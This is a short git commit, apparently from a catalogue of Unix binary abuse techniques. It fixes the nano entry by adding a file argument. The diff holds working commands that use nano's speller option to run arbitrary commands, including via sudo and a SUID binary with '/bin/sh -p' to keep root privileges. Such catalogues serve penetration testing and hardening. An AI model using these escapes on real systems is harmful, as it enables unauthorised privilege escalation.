Fix nano execution functions as they require a file to work on

This commit is contained in:
Andrea Cardaci 2018-05-29 20:40:23 +02:00
parent 4fbd4d3ab7
commit d665a38758

View File

@ -7,7 +7,7 @@ functions:
TF=$(mktemp) TF=$(mktemp)
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
chmod +x $TF chmod +x $TF
nano -s $TF nano -s $TF /etc/hosts
^T ^T
sudo-enabled: sudo-enabled:
- description: After running this exit the editor to see the command output. - description: After running this exit the editor to see the command output.
@ -16,7 +16,7 @@ functions:
TF=$(mktemp) TF=$(mktemp)
echo "$COMMAND" > $TF echo "$COMMAND" > $TF
chmod +x $TF chmod +x $TF
sudo nano -s $TF sudo nano -s $TF /etc/hosts
^T ^T
suid-enabled: suid-enabled:
- description: After running this exit the editor to see the command output. - description: After running this exit the editor to see the command output.
@ -25,7 +25,7 @@ functions:
TF=$(mktemp) TF=$(mktemp)
echo $'#!/bin/sh -p\n'"$COMMAND" > $TF echo $'#!/bin/sh -p\n'"$COMMAND" > $TF
chmod +x $TF chmod +x $TF
./nano -s $TF ./nano -s $TF /etc/hosts
^T ^T
file-read: file-read:
- code: | - code: |